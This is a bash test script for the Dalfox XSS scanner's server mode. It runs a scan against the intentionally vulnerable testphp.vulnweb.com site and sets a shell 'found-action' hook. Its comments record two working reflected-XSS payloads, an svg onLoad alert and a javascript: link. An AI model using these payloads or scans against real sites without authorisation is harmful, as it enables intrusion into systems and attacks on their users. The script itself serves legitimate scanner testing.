for_test

for_test.sh

#!/bin/bash

dalfox server > /dev/null 2>&1 &
DALFOX_PID=$!

sleep 2

curl --request POST \
  --url http://localhost:6664/scan \
  --header 'Content-Type: application/json' \
  --data '{
    "options": {
        "use-headless": true,
        "use-deepdxss": true,
        "output-all": true,
        "output-request": false,
        "output-response": false,
        "follow-redirects": true,
        "found-action": "echo @@query@@ >> results"
    },
    "url": "http://testphp.vulnweb.com/listproducts.php?artist=123"
}'

sleep 5

kill $DALFOX_PID

cat results

# [1] 24511
# {"code":200,"msg":"94808b6a1a291b8fedc4cd19e8d9ea28690ee4d577a21ecbb2aa296074c5fee4","data":null}
# [1]  + done       dalfox server > /dev/null 2>&1
# http://testphp.vulnweb.com/listproducts.php?artist=123%22%3E%3Ca+href%3D%22javascript%26colon%3Balert%281%29%22%3Eclick
# http://testphp.vulnweb.com/listproducts.php?artist=123%22%3E%3Csvg%2Fclass%3D%22dalfox%22onLoad%3Dalert%281%29%3E